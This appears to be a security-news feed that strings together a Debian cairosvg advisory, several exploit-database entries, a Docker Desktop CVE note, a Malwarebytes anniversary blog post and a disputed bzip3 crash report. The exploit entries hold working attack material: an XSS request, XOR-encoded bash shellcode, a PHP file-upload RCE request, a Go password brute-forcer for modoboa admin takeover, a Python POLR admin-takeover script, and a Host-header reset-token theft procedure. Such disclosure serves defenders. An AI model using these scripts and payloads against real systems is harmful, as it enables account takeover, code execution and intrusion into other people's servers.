Debian Linux Security Advisory 5382-1 - It was reported that cairosvg, a SVG converter based on Cairo, can send requests to external hosts when processing specially crafted SVG files with external file resource loading. An attacker can take advantage of this flaw to perform a server-side request forgery or denial of service. Fetching of external files is disabled by default with this update.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5382-1                   security@debian.orghttps://www.debian.org/security/                     Salvatore BonaccorsoApril 05, 2023                        https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : cairosvgCVE ID         : CVE-2023-27586Debian Bug     : 1033295It was reported that cairosvg, a SVG converter based on Cairo, can sendrequests to external hosts when processing specially crafted SVG fileswith external file resource loading. An attacker can take advantage ofthis flaw to perform a server-side request forgery or denial of service.Fetching of external files is disabled by default with this update.For the stable distribution (bullseye), this problem has been fixed inversion 2.5.0-1.1+deb11u1.We recommend that you upgrade your cairosvg packages.For the detailed security status of cairosvg please refer to itssecurity tracker page at:https://security-tracker.debian.org/tracker/cairosvgFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmQt1clfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xNDz0SHSA/+JRGHd5ccJTCZWYjtXDsq3tjP77dofbJW24Q+jEa22iQNkHHaW+k7jA+0DupIu6apNuA8WoGbBYEA24zG0c/XplIKYC7N0e+23wrX0pbamNyENIkWtFKSeY0UnYcNCSD+rL3GasVKiUOvdaWk7PZqxgIU1+ORgnvDVUHY2BB15cEVDKAvcwIrd71KkU6JbGdAoufek30UszsyMTs+ULp00uErgzq3jrxnJ5NCAnj8i7sI+DGY/aqEkOFEgZi7gIRDkK68VPMxQAUFCB7n/vIsqFrJTdwJ3xIhaZixEXgbLr4TBY1VhqixljNijSq2A72lTqotiKbXLiBy8l2vf+9T1au9qhImMViN3Sr6NDm3mjc/2wQv8ECopMiXMsbaJOjS/Fslbzc6jleK+xvhwkpwqbOYd9eyhX5FEEGdzHRJR093dy7Rp1t58QIkjOw4gS5psq6YEDtcTwyA7CAUZpZ0KGPiaM9+sY68iFsIa/b3HKnkGD+/Xp727CZLStSTYx/LOB/VSGOhxmSxQMpVJ9UMcFoCFfq+4xij1losWprs4nbEa/4CsPWWYuL/eWuMywMvev9adj55x6voruJ2eKxFFiQ+wR2JcdKXY5oXqzNAfjKLLHPjzq2co0OsIJ9x3kAM9eCct13Iq1gsz4tuj3zJgI4458cci5iMiRKjwdsClAM=vgG/-----END PGP SIGNATURE-----

Debian Security Advisory 5382-1

Universal Media Server version 13.2.1 suffers from a cross site scripting vulnerability.

    # Exploit Title: Universal Media Server 13.2.1 Cross Site Scripting # Google Dork: NA# Date: 01/04/2023# Exploit Author: Yehia Elghaly - Mrvar0x# Vendor Homepage: https://www.universalmediaserver.com/# Software Link: https://www.universalmediaserver.com/download/# Version: 13.2.1# Tested on: Windows 7 / 10# CVE: N/ASummary: Universal Media Server is a free DLNA, UPnP and HTTP/S Media Server.Support all major operating systems, with versions for Windows, Linux and macOS.Description: The attacker can able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.: Reflected XSS found on the follwoing paths GET /%3Cscript%3Ealert('XSSYF')%3C/script%3E HTTP/1.1Host: 172.16.110.132:9001User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1[Affected Component]//about/accounts/actions/logs/player/settings/shared/v1/api/about/|echo

Universal Media Server 13.2.1 Cross Site Scripting

71 bytes small Linux/x86_64 bash shellcode with XOR encoding.

    Exploit Title: Linux/x86_64 - bash shellcode with xor encodingDate: 05/02/2023Exploit Author: Jeenika AnadaniContact: https://twitter.com/cyber_jeeniCategory: ShellcodeArchitectue: Linux x86_64Shellcode Length: 71 Bytes-----------------------section .datasection .text  global _start_start:  ; set up argv and envp arrays for execve()  xor rax, rax  mov [rsp-8], rax  mov qword [rsp-16], 0x72613162 ; encrypted 'bash'  xor byte [rsp-16], 0x08  xor byte [rsp-15], 0x16  xor byte [rsp-14], 0x24  xor byte [rsp-13], 0x32  lea rdx, [rsp-16]  mov qword [rsp-24], rdx  mov qword [rsp-32], rdx  lea rdi, [rsp-32]  ; call execve()  xor eax, eax  mov al, 59  syscall  ; exit with status code 0  xor eax, eax  mov ebx, eax  mov al, 60  syscall-----------#### Explanation:This code uses XOR encryption to obscure the name of the program being executed, `"bash"`. The XOR encryption key is `0x08162432`, which is applied to each byte of the string. The decryption is performed just before calling `execve`, so the program name is passed in its original form.The rest of the code is the same as the previous example, making a system call to the `execve` function and then calling the `exit` syscall to terminate the process.---------### Compilation AND Execution:To run the x86_64 assembly code on a Linux system, you need to assemble it into an executable file and then run the file. Here are the steps:1.  Save the code to a file with a `.asm` extension, for example `bash.asm`.   2.  Assemble the code into an object file using an assembler, such as NASM:  `nasm -f elf64 -o bash.o bash.asm`The `-f elf64` option specifies that the output format should be ELF64 (Executable and Linkable Format), and the `-o` option specifies the name of the output file, `bash.o`.    3.  Link the object file to produce an executable file using the `ld` linker:  `ld -s -o bash bash.o`The `-s` option removes the symbol table from the output file to make it smaller, and the `-o` option specifies the name of the output file, `bash`.    4. Make the file executable:  `chmod +x bash`5. Finally, you can run the file:  `./bash`---------------------

Linux/x86_64 Bash Shellcode

flatnux version 2021-03.25 suffers from a remote code execution vulnerability.

    # Exploit Title: flatnux-2021-03.25 - Remote Code Execution (Authenticated)# Exploit Author: Ömer Hasan Durmuş# Vendor Homepage: https://en.altervista.org# Software Link: http://flatnux.altervista.org/flatnux.html# Version: 2021-03.25# Tested on: Windows/LinuxPOST/flatnux/filemanager.php?mode=t&filemanager_editor=ckeditor4&dir=misc/media/news&CKEditor=fckeditorsummary_en&CKEditorFuncNum=1&langCode=enHTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/109.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: multipart/form-data;boundary=---------------------------393526031113460918603940283286Content-Length: 413Origin: http://localhostConnection: closeReferer:http://localhost/flatnux/controlcenter.php?page___xdb_news=1&opt=fnc_ccnf_section_news&mod=news&mode=edit&pk___xdb_news=1&desc_=1&order___xdb_news=date&op___xdb_news=insnewCookie: fnuser=admin; secid=fe0d39d41d63bec72eda06bbc7942015; lang=en;ckCsrfToken=BFS3h505LnG9r0um2NcRBRbHklciwy5qj0Aw3xsbUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: iframeSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1-----------------------------393526031113460918603940283286Content-Disposition: form-data; name="upload"; filename="info.php"Content-Type: application/octet-stream<?php phpinfo(); ?>-----------------------------393526031113460918603940283286Content-Disposition: form-data; name="ckCsrfToken"BFS3h505LnG9r0um2NcRBRbHklciwy5qj0Aw3xsb-----------------------------393526031113460918603940283286--

flatnux 2021-03.25 Remote Code Execution

modoboa version 2.0.4 suffers from an administrative takeover vulnerability.

    /* # Exploit Title: modoboa  2.0.4 - Admin TakeOver # Description: Authentication Bypass by Primary Weakness # Date: 02/10/2023# Software Link: https://github.com/modoboa/modoboa# Version: modoboa/modoboa prior to 2.0.4# Tested on: Arch Linux # Exploit Author: 7h3h4ckv157# CVE: CVE-2023-0777 */package mainimport (  "fmt"  "io/ioutil"  "net/http"  "os"  "strings"  "time")func main() {  fmt.Println("\n\t*** ADMIN TAKEOVER ***\n")  host := getInput("Enter the target host: ")  username := getInput("Enter the Admin's Name: ")  passwordFile := getInput("Provide the path for Password-Wordlist: ")  passwords, err := readLines(passwordFile)  if err != nil {    fmt.Println("Error reading password file:", err)    os.Exit(1)  }  for _, password := range passwords {    data := fmt.Sprintf("-----------------------------25524418606542250161357131552\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n%s\r\n-----------------------------25524418606542250161357131552\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n%s\r\n-----------------------------25524418606542250161357131552--\r\n\r\n", username, password)    headers := map[string]string{      "Host":           host,      "User-Agent":     "Anonymous",      "Accept":         "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",      "Accept-Language": "en-US,en;q=0.5",      "Accept-Encoding": "gzip, deflate",      "Content-Type":   "multipart/form-data; boundary=---------------------------25524418606542250161357131552",    }    resp, err := postRequest(fmt.Sprintf("https://%s/api/v2/token/", host), headers, data)    if err != nil {      fmt.Println("Error sending request:", err)      os.Exit(1)    }    if resp.StatusCode == 200 {      fmt.Printf("\n\tValid password Found: %s\n", password)      break    } else {      fmt.Printf("Invalid password: %s\n", password)    }    // Delay the next request to limit the requests per second    delay := time.Duration(1000000000/50) * time.Nanosecond    time.Sleep(delay)  }}// Read the lines from a file and return them as a slice of stringsfunc readLines(filename string) ([]string, error) {  content, err := ioutil.ReadFile(filename)  if err != nil {    return nil, err  }  return strings.Split(string(content), "\n"), nil}// Send a POST request with the given headers and datafunc postRequest(url string, headers map[string]string, data string) (*http.Response, error) {  req, err := http.NewRequest("POST", url, strings.NewReader(data))  if err != nil {    return nil, err  }  for key, value := range headers {    req.Header.Set(key, value)  }  client := &http.Client{}  resp, err := client.Do(req)  if err != nil {    return nil, err  }  return resp, nil}// Get user input and return the trimmed valuefunc getInput(prompt string) string {  fmt.Print(prompt)  var input string  fmt.Scanln(&input)  return strings.TrimSpace(input)}

modoboa 2.0.4 Admin Takeover

POLR URL version 2.3.0 suffers from an administrative takeover vulnerability.

    # Exploit Title: POLR URL 2.3.0 - Shortener Admin Takeover# Date: 2021-02-01# Exploit Author: p4kl0nc4t <me-at-lcat-dot-dev># Vendor Homepage: -# Software Link: https://github.com/cydrobolt/polr# Version: < 2.3.0# Tested on: Linux# CVE : CVE-2021-21276import jsonimport requestspayload = {    'acct_username': 'admin',    'acct_password': 'password',    'acct_email': 'email@youremail.com',    'setup_auth_key': True,}r = requests.get('http://localhost/setup/finish',                 cookies={'setup_arguments': json.dumps(payload)})print(r.text)

POLR URL 2.3.0 Shortener Admin Takeover

LDAP Tool Box Self Service Password version 1.5.2 suffers from an account takeover vulnerability.

    # Exploit Title:  LDAP Tool Box Self Service Password v1.5.2 -  Account takeover# Date: 02/17/2023# Exploit Author: Tahar BENNACEF (aka tar.gz)# Software Link: https://github.com/ltb-project/self-service-password# Version: 1.5.2# Tested on: UbuntuSelf Service Password is a PHP application that allows users to changetheir password in an LDAP directory.It is very useful to get back an account with waiting an action from anadministration especially in Active Directory environmentThe password reset feature is prone to an HTTP Host header vulnerabilityallowing an attacker to tamper the password-reset mail sent to his victimallowing him to potentially steal his victim's valid reset token. Theattacker can then use it to perform account takeover*Step to reproduce*1. Request a password reset request targeting your victim and setting inthe request HTTP Host header the value of a server under your controlPOST /?action=sendtoken HTTP/1.1Host: *111.111.111.111*User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 16Origin: https://portal-lab.ngp.infraReferer: https://portal-lab.ngp.infra/?action=sendtokenUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: closelogin=test.resetAs the vulnerable web application's relying on the Host header of thepassword-reset request to craft the password-reset mail. The victimreceive a mail with a tampered link[image: image.png]2. Start a webserver and wait for the victim to click on the linkIf the victim click on this tampered link, he will sent his password resettoken to the server set in the password-reset request's HTTP Host header[image: image.png]3. Use the stolen token to reset victim's account passwordBest regards

LDAP Tool Box Self Service Password 1.5.2 Account Takeover

In Docker Desktop 4.17.x the Artifactory Integration falls back to sending registry credentials over plain HTTP if the HTTPS health check has failed. A targeted network sniffing attack can lead to a disclosure of sensitive information. Only users who have Access Experimental Features enabled and have logged in to a private registry are affected.

CVE-2023-1802: Docker Desktop release notes

Categories: Business
It's time to buckle up and embark on a whimsical journey through the twists and turns of Malwarebytes' evolution. 



(Read more...)




The post A whirlwind adventure: Malwarebytes' 15-year journey in business cybersecurity appeared first on Malwarebytes Labs.

As we raise a glass to toast Malwarebytes' 15th anniversary of boldly venturing into the realm of business cybersecurity, we're feeling nostalgic.

It's time to buckle up and embark on a whimsical journey through the twists and turns of Malwarebytes' evolution. From modest beginnings to becoming a titan in business cybersecurity, we've got a tale to tell, so take your seats, grab your popcorn, and enjoy the show!

**Act I: Humble Beginnings (2008 - 2012)**

In the late 2000s, Malwarebytes tiptoed into the business sector with corporate licensing for its consumer anti-malware product. It was a modest start, but hey, every masterpiece starts with a single brushstroke, as they say.

2012 marked a milestone as Malwarebytes introduced Anti-Malware Small Business Edition, a tailored solution with features beyond the Home edition, like XML Logging and Advanced Command Line Parameters & Controls. Now we were cooking with gas!

**Act II: Malwarebytes Takes the Stage (September 2012 - 2016)**

With the grand entrance of Malwarebytes Enterprise Edition (MEE) in late 2012, our business offerings went from a fresh-faced newcomer to a seasoned performer. MEE delivered centrally deployed, administered, and monitored threat protection and malware remediation to an audience of businesses, governments, and educational institutions.

Our performance received rave reviews, and the likes of The University of Alabama, NextGen Healthcare, and several Fortune 1000 companies lined up for an encore. Malwarebytes CEO Marcin Kleczynski summed it up in 2013, promising more show-stopping acts in the future:

“We have been making great progress since the launch of MEE, and this is just the start. Over the next year we’ll be releasing a new enterprise product, and there will be tremendous opportunities within our growing channel program,” said Kleczynski. “We’re carving out a new space in endpoint security by offering a solution that protects enterprises from zero-day malware incidents that AVs struggle to detect.”

And you best believe that Marcin was true to his word.

**Act III: The Plot Thickens (June 2014 - 2016)**

In 2014, Malwarebytes launched the Anti-Malware Remediation Tool, a sleek, portable solution for businesses to eliminate malware with minimal fuss. This was swiftly followed by Malwarebytes Endpoint Security, a triple-threat bundle combining Anti-Malware for Business, the Management Console, and Anti-Exploit for Business.

**Act IV: The Cloud Age (2017 - 2018)**

The year 2017 marked a turning point as Malwarebytes unveiled Nebula 1.0, a cloud-based console that propelled us into the world of cloud security management. Nebula 1.0 featured Malwarebytes Incident Response and Endpoint Protection, showcasing our innovative machine learning approach to Anomaly Detection.

In 2018, we expanded our portfolio with Endpoint Protection for Mac, Endpoint Detection and Response (EDR) for Windows endpoints, EDR Ransomware Rollback, and EDR Endpoint Isolation. Our growing repertoire of features ensured that no businesses' platform was left unprotected.

**Act V: OneView to Rule Them All (2019)**

2019 saw the introduction of OneView, a multitenant console designed for Managed Service Providers (MSPs). This innovation allowed MSPs to effortlessly manage multiple clients' cybersecurity needs from one central command center.

With Malwarebytes OneView, MSPs could now deliver the exceptional protection and remediation capabilities their clients demanded, without compromising on efficiency or profitability.

**Act VI: Windows Servers and Beyond (2020 - 2021)**

We didn't rest on our laurels in 2020, enhancing our EDR offerings with support for Windows Servers and the addition of Flight Recorder Search for advanced visibility and search capabilities.

In 2021, Malwarebytes extended its protective umbrella to include EDR for Mac and Cloud Sandbox, followed by Threat Hunting Alerts and Brute Force Protection, ensuring cyber threats were kept at bay.

**Act VII: A Smorgasbord of Enhancements (2022)**

In 2022, Malwarebytes broadened its horizons, embracing an Active Response Shell for EDR and EDR for Linux-based systems. We also introduced Device Control, Vulnerability Assessment, and Patch Management Modules to empower administrators in their ongoing battle against exploits and other cyber threats.

But wait, there's more! Malwarebytes added a DNS/Web Content Filtering Module and a Cloud Storage Scanning Module to the mix, rounding off a delectable buffet of cybersecurity enhancements. Oh, and did we mention our venture into Managed Detection and Response (MDR) services? We just can't help ourselves!

**Act VIII: The Mobile Frontier (2023 and beyond)**

As we set our sights on the future, 2023 marked our foray into Mobile Protection for iOS, Android, and Chromebook platforms. The introduction of an Application Block Module gave administrators even greater control over app installations on devices.

As we continue to innovate and expand our offerings, we’re committed to rolling out products that enable resource-constrained IT professionals to save valuable time and resources while being protected from the latest threats. Upcoming offerings include enabling centralized administration on-the-go, extending award-winning protection to more threat vectors, and providing continuous monitoring and guidance so that IT people can easily secure their environments while focusing on other critical tasks.  

**Curtain Call**

From a humble anti-malware solution in 2008 to the leading provider of business cybersecurity in 2023, Malwarebytes' story is one of tenacity, innovation, and the occasional dad joke. As we celebrate our 15th anniversary, we look back with pride and look forward with anticipation, knowing that the best is yet to come.

Keep an eye on our blog and press center for the latest goodness for Malwarebytes for Business!

A whirlwind adventure: Malwarebytes' 15-year journey in business cybersecurity

** DISPUTED ** An issue was discovered in libbzip3.a in bzip3 1.2.2. There is a bz3_decompress out-of-bounds read in certain situations where buffers passed to bzip3 do not contain enough space to be filled with decompressed data. NOTE: the vendor's perspective is that the observed behavior can only occur for a contract violation, and thus the report is invalid.

bz3_compress crashes because out is a null pointer. it was improperly called. once again I have to show you the stack trace:

    Program received signal SIGSEGV, Segmentation fault.
    __memcpy_avx_unaligned_erms ()
        at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:710
    710	../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
    (gdb) bt
    #0  __memcpy_avx_unaligned_erms ()
        at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:710
    #1  0x000055555556245f in bz3_decompress (in=<optimized out>,
        in@entry=0x555555568498 "BZ3v1", out=out@entry=0x0,
        in_size=<optimized out>, in_size@entry=31,
        out_size=out_size@entry=0x7fffffffe448) at ../src/libbz3.c:908
    #2  0x000055555555525a in main (argc=<optimized out>,
        argv=0x7fffffffe588) at decompress-file.c:28
    

notice: out=out@entry=0x0, out_size=out_size@entry=0x7fffffffe448). The size of the output is large, hence malloc failed. when malloc inside of decompress-file fails, it returns null. the memory under null is not big enough for us to be able to write 0x7fffffffe448 into, hence it is not the library's fault. it is a problem with decompress-file.c not being robust enough.

it is impossible to determine whether the buffer passed to bz3_decompress will even contain enough bytes for the output, which is why we pass out_size to it. but the decompress-file.c program clearly lied to the API, and there is no way in portable C to check it. you would have to use malloc_get_usable_size:

     0 [14:55] Desktop/workspace/bzip3@master % cd examples                            22s
     0 [14:55] workspace/bzip3@master/examples % gcc decompress-file.c -o decompress-file -O3 -lbzip3
     0 [14:55] workspace/bzip3@master/examples % ./decompress-file ~/Desktop/6.crashes.bz3 6.crashes
    zsh: segmentation fault  ./decompress-file ~/Desktop/6.crashes.bz3 6.crashes
     139 [14:55] workspace/bzip3@master/examples % ./decompress-file ~/Desktop/6.crashes.bz3 6.crashes
    zsh: segmentation fault  ./decompress-file ~/Desktop/6.crashes.bz3 6.crashes
     139 [14:55] workspace/bzip3@master/examples % gdb -q decompress-file
    Reading symbols from decompress-file...
    (No debugging symbols found in decompress-file)
    (gdb) set args ~/Desktop/6.crashes.bz3 6.crashes
    (gdb) run
    Starting program: /home/palaiologos/Desktop/workspace/bzip3/examples/decompress-file ~/Desktop/6.crashes.bz3 6.crashes
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    
    Program received signal SIGSEGV, Segmentation fault.
    __memcpy_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:710
    710	../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
    (gdb) bt
    #0  __memcpy_avx_unaligned_erms ()
        at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:710
    #1  0x00007ffff7fb8cbc in bz3_decompress (in=0x55555555a4a5 "\n", out=0x0,
        in_size=<optimized out>, out_size=0x7fffffffe4c8) at src/libbz3.c:908
    #2  0x000055555555518a in main ()
    (gdb)
    

notice: out_size=x7fffffffe4c8, out=0x0

Tag

#linux